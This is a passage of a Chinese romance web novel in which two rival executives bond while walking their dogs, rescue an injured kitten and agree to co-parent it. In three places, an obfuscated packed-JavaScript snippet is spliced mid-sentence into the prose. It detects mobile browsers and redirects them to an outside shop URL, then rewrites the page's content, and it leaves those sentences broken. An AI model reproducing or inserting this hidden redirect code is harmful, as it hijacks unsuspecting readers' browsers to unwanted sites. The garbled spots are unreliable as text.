裴言修略微有些不自在。他当然能感觉到,这一个月下来,他和柏停之间那种针锋相对、话不投机半句多的感觉确实淡了不少,两人甚至能在某些时候开几句玩笑。但要他亲口承认关系“变好”,总有些别扭。 赵玥没给他太多尴尬的时间,话锋一转:“不过,我们必须弄清楚,这种变化有多少是源于你们现实中的相处,又有多少是受到了更深层因素的影响。目前的数据还无法完全区分这两者。” 她停顿了一下,让两人消化这个信息,然后继续道:“有一点可以肯定,随着你们接触越多,这种联系对你们认知和情绪的影响可能会越深。所以接下来的接触中,保持清醒和理智很重要。” 她看向两人,将报告递给他们,语气认真地问:“之前提到的短期同居方案,你们考虑得怎么样了?这是目前让联系更稳定、也便于我们下一步观察的最佳方式。” 柏停接过报告,微微颔首。裴言修也随意得点了点头,显得有些心不在焉。 “行,你们好好考虑一下。今天就到这里。”赵玥笑着将两人送到门口,“下次见。” 走出研究所,午后的阳光正好。裴言修看了眼身侧神色如常的柏停,想起赵玥最后的叮嘱,不由轻啧了一声。 “喂……柏停。” 被他叫住的人看了他一眼,慢下脚步:“……做什么?” 裴言修深吸一口气,凑到他面前,认真地看着他:“……你现在看我什么感觉?” 18. 偶遇 阳光给面前这颗毛茸茸的脑袋渡上了一层浅金色,眼睛里泛着琥珀色的微光,倒映出柏停的面孔。 柏停看了他两秒,面无表情地伸手拨开这颗脑袋,随即继续向前走。 “看智障的感觉。” 裴言修:“……” 他恼火地跟上:“我跟你说正经的,大哥!能别无时无刻秒开嘲讽模式吗?” 柏停没有看他,语气却带着一丝意味深长:“你想问什么?担心我会因为匹配度和潜意识的影响……而爱上你?” 裴言修被噎了一下。 意思是这么个意思,可怎么从柏停嘴里说出来就这么刺耳? ……算了,不和这种没长嘴的人计较。 他深吸一口气,为表诚意,忍辱负重地接话:“不只是你,我也担心我自己会……对你动心。”最后几个字说出口,他自己都起了一层鸡皮疙瘩。 “赵玥说得那么玄乎,你就一点儿不怕?” 没等柏停回答,裴言修睨他一眼,又抢着补充道:“别装。数据明明白白摆在那儿,你敢说你对我——还像以前那么讨厌?” 柏停终于停下脚步,转身看向他。午后的阳光在他眼底沉淀成一片深邃的金色。 “影响是客观存在的,”他声音平稳,听不出情绪,“但数据只能证明关联,不能决定结果。” 裴言修挑眉:“所以?” “所以,”柏停淡淡道,“你现在会站在这里跟我讨论这个问题,恰恰证明你的意识依然由你自己主导。” 这个角度倒是裴言修没想到的。他微微一怔,就见柏停已经继续往前走,留下一句:“与其担心这些,不如先想想你待会怎么回去吧。” 裴言修:“?” 他茫然:“什么怎么回去,开车回去啊。” “门口那辆白色的布加迪,是你的吧?违章停车,被拖走了。” “卧……”裴言修不敢置信,“什么时候的事?!你早就知道了??怎么不告诉我!” 柏停淡淡道:“来的时候恰好看到的。你也没问我。” 裴言修:“……” 十分钟后,裴言修坐上柏停的迈巴赫,一脸麻木地看向窗外。 司机透过后视镜,看见自家总裁独自一人去的,回来时却变成了两个人,表情顿时变得十分精彩,极有眼色地默默升起了前后排之间的隔板。 裴言修脸色顿时更垮了。 柏停侧目看他,只听他幽幽叹了口气:“没想到这么快就能再次坐上柏总的爱驾,我这算不算是二进宫了?” “算不上。”柏停语气平淡地纠正,“你上次坐的不是这辆。” 裴言修被这过于严谨的回应噎了一下,一时都不知道该怎么接话,索性就没接。柏停双腿交叠,抱着笔记本坐在他身侧,也没再多分目光给他。 - 临近年末,大街小巷逐渐缀满节日的灯饰,商场橱窗里挂起灯带和各样装饰,圣诞树和各种年末的庆典活动一起频繁出现在人们的视线里。 与此同时,各大集团最忙碌的时节也随之到来。高楼大厦里的灯越亮越晚,到最后几乎是彻夜不息。中达也不例外。 裴言修这段时间忙的脚不沾地,每天从睁眼到闭眼,不是出席这个活动,就是到场那个饭局。电话、邮件和文件更是仿佛形成了一个漩涡,源源不断地将人往里拖拽。 他忙得连轴转,连与林雅女士的视频次数都锐减。林女士察觉后,差阿姨往公司送了几回补汤;裴思行作为当红艺人,年末行程爆满,消停了不少,信息骚扰的频率显著下降;连向来别扭的裴照先生,也难得说了几句体己话。 最后一场年终战略会议结束,裴言修瘫在办公椅上,两眼空空,一根手指头也不想动了。 一个念头无比清晰地砸进混沌的脑海:必须休假!立刻!马上! 这决定像一针强心剂,让他短暂地摆脱了瘫软状态。他坐直身体,拿起手机,给助理白松发消息,条理清晰地安排起交接事宜和假期期间的紧急联络预案。直到确认所有工作都有了着落,他才再次松懈下来,靠在椅背上,长舒一口气。 紧绷的神经一旦放松,一些被忙碌搁置的琐事便浮上心头。他想起之前和林雅女士商量过把妹接过来住两天,也是该提上日程了。 要想把林女士的爱女骗过来,光打几个电话肯定是远远不够的。裴言修打算回家一趟,亲自去接。算起来,他也确实有阵子没回去了。 动身前,他翻了翻他亲爱的妈咪最近的朋友圈,特意绕道去了趟专柜,拿了爱马仕这个季度的最新款。又把自己收拾了一番,做了充足的准备,这才花蝴蝶似的,飞回去讨林女士欢心。 许是天也助他,他回去的时机赶了巧,林雅女士最近正筹划着出门,过两天就要和裴照一起去北欧度假。 “妈咪,你这趟去玩,妹怎么办?”裴言修往嘴里塞了颗车厘子,弯腰凑到林女士身边,“总不能带着它长途飞行吧?” 林雅正对着镜子试戴新买的丝巾,闻言动作一顿:“是啊……我正愁呢,寄养我又不放心。” 裴言修帮她理了理丝巾,顺势把新买的包递过去,语气再自然不过:“放我那儿吧。我刚忙完,正好有空照顾。” 包包配上丝巾恰到好处,林雅拎着包,颇为满意,但随即又犹豫:“你行吗?上次让你帮忙浇花,差点把我那十八学士给旱死。” “那是意外。”裴言修面不改色,“这次保证每天给您发视频。再说了,总比送去陌生的宠物店强。你们就放心玩,我过年的时候再把妹一起带回来。” 林雅摸着手里质感绝佳的新包,又看了眼儿子那张帅气逼人讨巧卖乖的脸,终于松口:“那说好了,每天早晚各一个视频。它早上要喝温水,饮食要按食谱来,不许偷偷给他喂垃圾食品……” “知道知道,”裴言修打断母亲的絮叨,嘴角扬起得逞的笑,“保证给您养得白白……”他瞥了一眼扑在他脚边摇尾巴的妹,弯腰抱起,改口道,“棕棕胖胖的。” 林雅瞪他一眼:“少贫。这回是便宜你了,上回可是说好要看你表现的。怎么样?我儿媳妇的事,八字有一撇了吗?” “有了有了。” “我就知道你没上心!你说说,你这么大人了……”林雅说着说着突然顿住,表情空白了一瞬,“等等,你刚才说什么?” 裴言修眨眨眼:“我说,您儿媳妇的事儿,八字有一撇了。” 林雅终于反应过来,见裴言修一副吊儿郎当的样子,第一反应就是不信:“你说真的?” “骗您干嘛?” “再过一阵子,等过完年,我就给您带一个……”他斟酌了一下用词,“活的儿媳妇回来。” 林雅盯着他看了一会,忽然道:“儿媳还是儿婿,你可说清楚了。” 裴言修一愣,震惊于她的敏锐,却还是反应很快地插科打诨:“您甭管那么多。只要我不是把林尤墨带回来给您看,您就该谢天谢地了。” 要是裴言修毫不犹豫地把这“男儿媳”供出来,林雅一定会怀疑。可这说一半藏一半的,一副给她打预防针的姿态,反倒显得真。 林雅心情复杂,最终只深深地看了自己儿子一眼,说道:“行,你自己心里有数就好。” 一顿太极打下来,裴言修如愿以偿地抱着妹回到公寓。刚踏进玄关,怀里的小家伙就蹬着腿挣了下来。它在光洁的地板上打了个滑,随即站稳,小心翼翼地探着鼻子——从门口的垫子嗅到沙发腿,又从茶几脚闻到窗帘边。黑亮的眼睛里映着新环境的倒影,既紧张又掩不住好奇。 裴言修也不拦着,任由它这里闻闻、那里蹭蹭,用专属的方式熟悉气味、标记地盘。他自己则转身走进储物间,搬出早就备好的一整套宠物用品。 先是在客厅采光最好的角落铺上厚厚的软垫和被褥,布置成舒适的小窝;接着摆好自动恒温饮水器,调试到最适合的温度;又拿出印着小骨头图案的食盆,旁边整齐码放着小袋分装的狗粮和各种营养品。最后掏出一堆玩具:会发声的橡胶小鸭子、耐咬的磨牙棒、还有一只快和妹一样大的毛绒熊,一股脑儿堆在了窝边,围成一堵玩具墙。 做完这些,他出了身薄汗,脱掉毛呢大衣,喝了两口水。妹大概是把新家参观得差不多了,不知何时已经回到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274644|198177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的脚边,咬着他裤脚玩。 裴言修把她抱进舒适柔软的狗窝里,拍了拍她的脑袋:“祖宗,你哥我够意思吧?看给你这狗窝搭的,我自己都想进去躺两天。” 妹在他掌心蹭了蹭,哼唧着以示回应。 家里有个活生生的小生命陪着,感觉确实不一样。裴言修的休假生活正式开始,可以推后的工作都推后,辅之以线上处理。实在需要亲自出面的,也尽量压缩时间,办完事就急着往家赶。 起初几天,妹一切如常。每天叼着各式玩具在公寓里上蹿下跳,时不时用脑袋去蹭裴言修裤脚,邀请他陪自己玩抛接游戏。 可没过两天,裴言修就发现不对劲了。活蹦乱跳的小家伙变得越来越蔫吧,大部分时间都趴在窝里,没什么精神。虽然看到裴言修靠近时,它还是会努力抬头,轻轻晃动尾巴尖,试图表现出一点热情,但裴言修能明显感觉到那份强打的精神。连它最心爱、平日寸步不离的玩具小鸭子滚到脚边,它也只是懒懒地看了一眼,便把下巴搭回了前爪上,兴趣缺缺。 裴言修起初以为它是想林雅女士了,变着法地哄它,开了新罐头,陪它玩球,效果却都不大。 直到有天白松来送文件,看见窝里无精打采的小狗,顺口提了一句:“boss,她看上去心情不太好,是不是闷着了?” 裴言修这才恍然大悟。妹在老宅时,基本是不需要特意溜的。老宅活动空间充足,前前后后好几幢房子,从主楼到花园,能让小狗它跑个尽兴。以至于住在这高层公寓里,裴言修下意识忽略了小家伙是需要每天带出门放风的。 “是哥哥不对。”他懊恼地揉了揉妹的脑袋,立刻找出牵引绳给它系上:“走宝贝儿,哥哥带你出去玩。” 一到室外,妹果然肉眼可见地活泼起来,撒着欢儿往前冲。与之形成鲜明对比的是裴言修——寒冬腊月的夜风兜头扇了他个结实,冻得他狠狠打了个哆嗦。 冷风毫不留情地从大衣下摆灌进来,身上那件看似时髦的薄毛衣此刻简直形同虚设。裸露在外的迅速变得冰凉,他忍不住把脖子往衣领里缩了缩。妹可不管这些,在小区主干道上横冲直撞,牵着绳的裴言修只好跟着小跑起来。活动开身子,这才觉得好歹驱散了些寒意。 跑着跑着,妹突然一个急刹,停在了绿化带旁。它后腿微蹲,抬起一双黑亮的大眼睛,无比无辜地望向裴言修。 裴言修心里咯噔一下,这姿势他可太熟悉了! “别!祖宗,忍一忍!”他猛地收紧牵引绳,试图把它往回带,“我们回家再解决……” 可惜,抗议无效。 看着地上那坨新鲜出炉的“罪证”,裴言修倒吸一口凉气,认命地从口袋里掏出纸巾袋。他蹲下身,一边动作笨拙地清理,一边压低声音数落:“小祖宗,公主殿下!在家好好的马桶不用,非要出来给小区绿化做贡献是吧?” 他仔细包好“证物”,扔进一旁的垃圾桶,然后竖起一根手指,试图对摇着尾巴的妹进行素质教育:“听着,这样是不对的,破坏公共环境……” 话还没说完,妹突然竖起耳朵,鼻子急促地嗅闻了两下,随即尾巴像小旗杆般高高扬起,猛地发力向前窜去。裴言修毫无准备,被拽得一个趔趄,差点扑倒在地。 “诶诶诶!我话还没说完呢,你这是要去哪儿?!” 他踉跄着跟上,只听妹兴奋地“汪”了一声。顺着它奔跑的方向望去——一只体型优美、毛色黑白的边牧正安静地站在不远处。和他家这只满地撒欢的比起来,显得优雅而温顺。 裴言修还没来得及反应,妹已经像颗小炮弹似的冲到那只边牧跟前。小家伙在对方高大的身影下显得格外迷你,却大概是被惯坏了,丝毫不显畏惧,反倒欢快地绕着边牧转起圈来,奶声奶气地“汪”了一声。 这只边牧……似乎,有点眼熟。 裴言修心里直犯嘀咕,目光却已经不由自主地顺着套在边牧颈间的皮质项圈往上移。映入眼帘的首先是一双骨节分明、肤色偏白的手,不松不紧地握着牵引绳。再往上……裴言修对上了一双深邃而冷峻的眼睛。 柏停站在路灯下,与他视线相对。 19. 围巾 裴言修下意识攥紧了手里的牵引绳,另一只手上还捏着刚用剩的半包纸巾。四目相对的瞬间,他莫名有一瞬间的头皮发麻。 “这么巧。”柏停先开了口,视线掠过他手里那团纸巾,最后落在他被风吹得发红的鼻尖上。 裴言修含糊地应了一声,视线不由自主地落在边牧光泽顺滑的皮毛上,脱口而出:“这是……你朋友圈背景那只吧?” 话音刚落他就恨不得咬掉自己的舌头——这不等于承认他仔细看过对方朋友圈? 柏停微不可察地顿了一下,才应道:“嗯。”他看了眼正兴奋摇尾巴的妹,“帮朋友遛狗?”上次去裴言修家,他没看到有养狗的痕迹。 “不是。”裴言修弯腰把往边牧身上扑腾的妹抱起来,小家伙立刻委屈地呜咽一声。 “这是我妹妹,来我这儿暂住几天。” 柏停似乎对“妹妹”这个称呼有些意外,但还是点了点头。目光在小泰迪毛茸茸的脑袋和黑亮的圆眼睛上停留片刻,“她似乎很喜欢云朵。” 边牧听到了自己的名字,抬头看了自家主人一眼,又看了看对面被抱在怀里的小家伙,突然轻轻“汪”了一声,尾巴在空气中画起圈来。 柏停低头:“你想跟妹妹玩?” 裴言修忍不住为自家老狗正名:“她虽然名字叫妹,但论年纪应该比云朵大不少。我高中就养了。” 柏停抬眼看他,礼貌请教:“那怎么叫?妹姐?” 裴言修:“……”倒也不必如此尊敬。 他还没来得及说话,怀里的妹却恰在此时“汪”了一声,像是在对这个新称呼发表意见。 裴言修一愣,随即低头:“你喜欢?”他哭笑不得地扶额,“这也不好听啊……你这喜欢给人当姐的毛病是跟谁学的?” “大概是学了某个喜欢当哥的人吧。”柏停半蹲下身子,给云朵整理项圈。云朵偏头看了主人一眼,随即微微抬头,用鼻子碰了碰妹的小爪子。 妹立刻兴奋地叫了一声,扭动着要从裴言修怀里下去。 柏停漫不经心地提议:“一起走走?” 裴言修无可无不可,从善如流地把妹放回地上。小家伙一落地就迫不及待地凑到云朵身边,两只狗很快并排走在前面,时不时互相嗅嗅,尾巴愉快地摇晃着。 两人牵着狗绳跟在后面,保持着恰到好处的距离。冬夜的寒风吹过,裴言修不自觉地缩了缩脖子,余光瞥见柏停依然挺直的背影,心下惊讶这人的抗冻能力。 明明他看上去穿得也不多啊……不会是在装吧…… 柏停突然偏头,裴言修迅速转正目光,找了个话题:“你平时都这个点遛狗?” “嗯。”柏停似乎没注意到他那一瞬间的不自然,目光落回云朵身上,“除非加班。” “加班”这两个字瞬间戳中了裴言修的痛点,让他一下子找到了组织般欣慰——原来不止他一个总裁活得像个社畜! 强烈的共鸣感让他顿时觉得柏停顺眼了不少,连带着对方那张万年不变的冷脸都显得亲切起来。 正准备说些什么,妹突然加速往前跑了几步,云朵默契地跟上,两只狗开始小跑着追逐嬉戏。牵引绳传来轻微的拉力,裴言修下意识收紧手掌,随即蹭到了什么。 冰冷的指尖被一处热源包裹,裴言修一怔,步伐下意识慢了慢。柏停掌心握了握他的手指,一触即分:“你很冷?” 裴言修回神,喉结滚动了一下:“没。我……”话语在他注意到柏停的动作时,堵在了嗓子眼。 柏停解下自己脖子上的围巾,塞进裴言修怀里:“戴上。” “算借你的,洗干净还我。” “……哦。” 宽大厚实的围巾一层一层的绕上颈脖,连带着裴言修发红的耳朵尖也被包裹进去。严寒的风被阻隔在外,裴言修的身体后知后觉地回温。 暖意从指尖和耳根开始蔓延,呼吸间能闻到淡淡的、不属于自己的香水味,裴言修手指缩了缩,脖颈发烫。 柏停这条围巾确实有些太暖和了,他心想,难怪这人刚刚看上去那么若无其事。 “你这围巾挺不错的。品牌还是定制?回头推我一下?” 格纹围巾十分百搭,套在裴言修身上像是他穿搭里自带的,半点也看不出是个半路挤进去的“转学生”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274645|198177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>柏停看了看和面前这人肌肤紧密相贴、一丝缝隙不留的围巾,想说不用还了,话到嘴边却转为一句—— “好。” 小狗的精力总是比人类要充沛。裴言修和柏停在小区里转了大半圈,两个小的仍然打得热火朝天。柏停索性找了个无人的空旷草坪停下,解了牵引绳,让她俩尽情去玩。 云朵虽然实际年龄比妹小,奈何体型差明明白白地摆在那儿,边牧又是出了名的聪明,因此看上去更像是她在带着妹玩,很有大姐姐的风范。 裴言修注意到,转头问柏停:“云朵是特意训练过?” 柏停:“差不多。买过一些相关的书看。” 裴言修语气有些羡慕:“求教程。”他们家小公主在家被林女士惯坏了,他遛妹更像是一场被动的人狗拉力赛。 “可以考虑。”柏停一本正经地回应,“学费按小时计,比照环隆的商务咨询费率。” 裴言修“嘁”了一声:“小气。” 两个小家伙越跑越远,眼见着就要脱离二人的视线。裴言修怕她们冲撞到别人,赶紧跟上去。柏停紧随其后。 两只小狗在一处灌木丛旁停下,妹猛地一冲,朝着某个方向激动地“汪汪”叫了起来。裴言修还没来得及反应,云朵突然上前一步,轻轻用身体挡在了妹和灌木丛之间,低沉地“呜”了一声。妹的叫声戛然而止,它仰头看了看高出它一大截的云朵,又委屈又困惑地哼哼了两声,倒是真的安静下来了。 裴言修颇为惊奇,当即拍板:“学!我按照环隆商务咨询费的双倍给你。” 柏停不置可否,微微一扬下巴,道:“灌木丛里有东西。” 话音刚落,旁边的灌木丛里突然传来一阵窸窸窣窣的细微响动。天色已完全暗沉下来,寒风穿过灌木枝桠,发出呜呜的低鸣,在这寂静的夜里,乍一听竟有几分像婴儿断断续续的呜咽,无端透出几分阴森。 裴言修后背一凉,咽了咽口水,强作镇定地从地上捡起一根枯树枝。半眯着眼睛,手臂伸得老远,颤巍巍地想去拨开那丛晃动的阴影。 就在树枝即将触碰到叶片时,一只温热的手突然覆上他的手背。 20. 同居 裴言修吓得浑身一激灵,差点把树枝直接扔出去。 好在手的主人很快说话了,稳住了他差点跳出来的心脏。柏停从他僵直的手中接过树枝:“我来。” 灌木枝叶被树枝拨开,露出内里的全貌。在交错枝桠的掩映下,一个浅浅的土坑里,蜷缩着一团小小的、灰扑扑的身影。那是一只看上去仅有几个月大的小猫,浑身的毛发被尘土和泥水黏连成一绺一绺,几乎看不出原本的毛色。它的一条后腿不自然地蜷着,隐约能看到暗红色的血迹。 乍然暴露在灯光和陌生人的视线下,小猫惊恐地缩紧身体,喉咙里发出微弱又嘶哑的“呜”声。它试图向更深的黑暗里挪动,但受伤的后腿显然无法用力,只是徒劳地在土砾上蹭了蹭,显得虚弱又无助。 裴言修心里最柔软的地方像是被轻轻戳了一下。他立刻蹲下身,动作小心翼翼。 “别怕,小家伙,我们带你去医院。”他一边用极轻的声音安抚,一边轻柔地将小猫连同它身下一点用来保暖的干草一起抱了起来,裹进自己的大衣里,只露出一个虚弱的小脑袋。小猫在他掌心微微颤抖,但或许是感受到了善意,并没有剧烈挣扎。 柏停已经重新给两只狗挂好了牵引绳,云朵和妹都乖巧地坐在他脚边,似乎明白此刻情况特殊。他拿出手机,指尖在屏幕上快速滑动:“最近的24小时宠物医院,一点七公里。”他抬眼看向裴言修,“我开车。” “好。”裴言修应道,抱着怀里这团轻得几乎没有分量的生命,快步跟上柏停。 柏停的车就停在附近,他利落地打开后座车门,让裴言修抱着小猫坐进去,自己则将两只狗安顿好,迅速坐进驾驶座。车内暖气打开,驱散了外面的寒意。 一路上,裴言修都低着头,用手指极轻地抚摸着包裹着小猫的大衣,试图给它一点安慰和暖意。他从后视镜里看到柏停专注开车的侧脸,车速比平时稍快,却依旧平稳。 “它看起来好小。”裴言修忍不住低声说,语气里带着他自己都没察觉的担忧。 “嗯。”柏停从后视镜里看了他一眼,目光在他沾了泥土的大衣袖口停留了一瞬,“会没事的。” 到了医院,柏停停好车,先一步下来,替裴言修拉开车门,然后默契地走向后备箱,拿出一个便携宠物箱——显然是他的常备物品。裴言修小心地将裹着大衣的小猫转移进铺了软垫的箱子。 值班兽医立刻接手进行检查。清创、检查伤口、拍X光片……两人等在外面,一时无话,只有消毒水的气味弥漫在空气中。 “后腿骨折,需要手术固定,还有一些外伤和脱水,但没有生命危险。”医生最终出来告知结果,“住院观察几天,等情况稳定就可以出院了。” 裴言修靠在医院冰凉的墙壁上,长长呼出一口气。他低头看了看自己沾满泥污和血迹的毛衣内衬和大衣,浑不在意。 柏停不知何时去了自动售货机,回来时手里拿着瓶矿泉水和一包湿纸巾,默默递给他。 裴言修看着递到眼前的东西,微微一怔,接过湿纸巾擦了擦手上的污迹:“谢了。” 办完手续,交了一笔不菲的住院费,又拜托护士多加照看,留好联系方式,两人这才走出医院。 云朵和妹跟着这么折腾一遭也都累了,一回到车上就进入了梦乡。 暖气重新包裹住身体,裴言修紧绷的神经也彻底松懈下来。 “那只猫,”柏停率先打破沉默,手指轻敲着方向盘,“你打算怎么处理?” 裴言修望着窗外飞逝的夜景,叹了口气:“还没想好。先治好再说吧,看看有没有人愿意领养。” “后腿残疾,又是最常见的狸花猫。”柏停的语气很平静,只是在陈述一个客观事实,“被领养的几率不大。” 车内再次陷入沉默。过了片刻,两人同时开口。 “你那什么幽默哥呢?”柏停问。 “要不我养?”裴言修说。 话音重叠在一起,两人皆是一顿。 裴言修愣了几秒,才反应过来柏停说的是林尤墨。 幽默哥……这么一对比,当初给林尤墨起小名叫“笑笑”的自己还是太仁慈了。 他压下心里那股不合时宜的笑意,说道:“他那傻白甜,连自己都养不好,猫跟着他估计跟流浪没什么区别。” 柏停没有对“傻白甜”这个词发表意见,只是半晌道:“大哥莫笑二哥。” 裴言修:“……” 他无语地往后一靠,没好气道:“我还是比他靠谱很多的好吧。” 虽是这么说着,却没再坚持领养的事。毕竟猫是他们一起救的,既然柏停不放心,他也不好独断专行。 其实也不是没有其他的办法,比如把猫送回给林雅女士养。以她对动物的喜爱,一定会欣然接受。但…… 他瞥了一眼身旁专注开车的柏停。自己遇事第一反应如果是找家里兜底,想也知道柏停该怎么对他冷嘲热讽了。 车窗外,路灯的光晕在夜色中连成一条流动的河。 车子缓缓停下,裴言修正要解开安全带下车,柏停却突然开口:“如果你非要养的话。” 他动作一顿,转头看去。柏停的手指仍搭在方向盘上,目视前方,侧脸在昏暗的光线下显得有些模糊。 “可以算我们共同领养。”柏停的语气很平淡,说出来的话却不,“我有一半的抚养权。” 裴言修愣住了。这个提议完全出乎他的意料。 “什么意思?”他下意识追问,“你是说要和我……一起养猫?” 柏停终于转过脸来看他,眼神在夜色中让裴言修有些看不透:“字面意思。既然是我们一起救的,共同负责很合理。” 这个逻辑无懈可击,但裴言修总觉得哪里不太对劲。他和柏停,一起养一只猫? “你确定?”他忍不住确认,“这可不是一时兴起的事。” 柏停眉梢轻轻挑了一下:“我看起来像是会一时兴起的人?” 裴言修不说话了。 柏停似乎把他的沉默当成了默认,随手解开安全带,语气自然地继续安排:“平时可以放在我那边养。如果你有空想看看,或者我出差忙不过来的时候,你帮忙照看几天。” “凭什么放你家?”裴言修几乎是下意识地反驳,“要放也是放我这儿。” 他刚说完就意识到不对……草,上套了。 果然,柏停侧过头看了他一眼,从善如流地改口:“行,那就放你家。” 裴言修:“……” 他在心里狠狠吐槽:这对话怎么越听越不对劲?不知道的还以为是在争抚养权的离婚夫妻呢。 和柏停对视几秒,他率先转开了头,“你容我考虑一下。” 柏停略一颔首,没再多言。 两人各自下车,在清冷的夜色中走向不同的单元门。裴言修回到公寓,弯腰把妹抱回窝里,轻轻放下。 指尖夹着方才在宠物医院拿的医生名片,裴言修的思绪不自觉又回到方才那场对话上。 他拿出手机,点开和柏停的聊天界面,指尖在键盘上悬停许久,最终退出了对话框,点开和林尤墨的聊天页面。 裴言修:【问你个事】 林尤墨秒回:【准奏。】 裴言修:【如果要和一个……不怎么熟的人一起养猫,你会觉得奇怪吗?】 林尤墨:【???】 林尤墨:【展开说说?对方是谁?男的女的?我认识吗?】 林尤墨:【等等……该不会是柏停吧???】 裴言修:…… 迟疑在他俩的对话中等于默认。林尤墨的消息瞬间刷屏,充斥着问号和感叹号,还有快满溢出来的痛惜。 林尤墨:【我就几天没看着你,你俩都发展到这个地步了??!!!】 【别哪天结婚了才想起来通知我。】 紧接着是一条长达二十秒的戏精啜泣语音:“呵,帝王家果然无情,只见新人笑,哪闻旧人哭啊~” 裴言修看着屏幕上接连不断跳出来的信息,额角直跳,深刻意识到找林尤墨要意见就是最错误的决定。他干脆利落地按灭了屏幕。 下一秒,手机立刻嗡嗡震动起来,屏幕上跳跃着“林烦人”三个大字。 裴言修叹了口气,认命地接起:“喂?” “快!从头招来!一个细节都不准漏!”林尤墨的声音隔着电话都透着一股八卦的兴奋。 裴言修揉着眉心,言简意赅地把晚上救猫以及后来和柏停那段关于“共同抚养”的对话复述了一遍。 电话那头安静了几秒,林尤墨再开口时,语气正经了不少:“我问你,如果柏停说猫他自己养,完全不用你管,你愿意吗?” 裴言修被问得一愣。 他发现自己竟然从未考虑过这个选项 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274646|198177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。哪怕考虑让陌生人领养,他也没考虑过柏停。 他的沉默已经是最好的答案。 林尤墨了然:“那不就得了?我跟你说,给柏停养,跟送给陌生人领养还不一样。要是陌生人领养了,你和这猫的缘分基本就到这儿了,过阵子可能也就忘了。但要是柏停养,你作为跟他一起救猫的人,能不想起来?能不想去看看猫过得怎么样?” 他顿了顿,语气变得斩钉截铁:“要我说,这‘一半抚养权’挺好!至少名正言顺,你想看猫随时能看,想管也能插手管。柏停这人邪性着呢,一看就不像是会照顾宠物的……” “没。”裴言修反应过来时,替柏停解释的话语已经说出了口,“他养了只边牧,照顾的很好。” 林尤墨正经不了三句,戏瘾再次发作,幽幽道:“得,已经开始胳膊肘向外拐了。陛下,我要你有何用……” “行了。”裴言修等他演完,说道,“挂了。” 他的目光再次落在指间那张薄薄的名片上,“安心宠物医院”几个字在灯光下清晰可见。指尖无意识地摩挲着纸张边缘,林尤墨那句“名正言顺”和柏停说“我有一半抚养权”时的神情,在脑海中交替浮现。 —— 这天下午,裴言修接到了宠物医院打来的电话,通知他小猫恢复得很好,当天就可以办理出院。 挂断电话后,他盯着手机屏幕犹豫了片刻。指尖在柏停的聊天界面上悬停了几次,最终还是没有发出消息。 下班时间一到,他便让司机开车去医院。然而,当车子即将拐向熟悉的路口时,他却又改了口:“……算了,去环隆。” 柏停结束今天都最后一个会议,从会议室走出。助理迎上来,低声汇报:“柏总,裴总来了,在会客室等您。” 他脚步微顿,有些意外:“他来做什么?” “裴总没说,”助理摇头,“只说要见您。” 柏停推开会客室的门,只见裴言修正悠闲地坐在沙发上翻看杂志,听到动静抬起头,眉眼间带着一丝难得的明朗。 “医院刚来消息,”裴言修放下杂志,站起身,“说小猫今天可以出院了。” 柏停看着他,没有立即接话。那双深邃的眼睛里看不出情绪,像是在判断这番话背后的意图。 裴言修见他不语,便自顾自朝外走去,经过他身边时,脚步稍缓,侧头丢下一句:“愣着干嘛?走啊。” 柏停没动:“要我陪你去?” 裴言修莫名其妙:“你不是它另一个爸爸吗?说完要负责的,不认账了?” 这话说得太过顺口,等裴言修意识到自己说了什么时,柏停已经微微挑眉。 “另一个爸爸?”他重复了一遍。 话里听不出什么别的意味,裴言修却莫名耳根一热,赶紧找补:“我是说共同监护人,你别找茬。” 他说完没再看柏停的表情,逃也似的离开了会客室。 去接猫的路上,两人都很沉默。直到等红灯时,柏停才开口:“名字想好了吗?” “还没。”裴言修看着窗外,“柏总有想法?” 柏停:“叫岁安吧。” “岁岁平安?”裴言修挑眉,“寓意倒是不错。” 到了医院,护士把小猫抱出来。小家伙比一周前精神多了,虽然腿上还打着固定的绷带,但毛色干净蓬松,一双琥珀色的眼睛好奇地打量着他们。 柏停与他对视一会,率先挪开了视线。 “它好像记得你们。”护士笑着说,“这几天都不太亲人,看到你们倒是安静。” 柏停接过航空箱,动作很轻。小猫在箱子里轻轻“喵”了一声,用脑袋蹭了蹭箱壁。 回程时,岁安在航空箱里睡着了。等红灯的间隙,柏停突然说:“我让助理准备了猫爬架和其他用品,明天会送到你家。” 裴言修愣了一下:“你都买了?” “嗯。”柏停目视前方,“既然是一起养,总该出份力。” 车子停进公寓地库。柏停和裴言修一起下了车,从后备箱提出一个大纸袋:“这是它现在要用的药和处方粮。” 裴言修接过纸袋,重量沉甸甸的。他看着柏停认真交代注意事项的侧脸,鬼使神差地开口。 “柏停。” “嗯?” 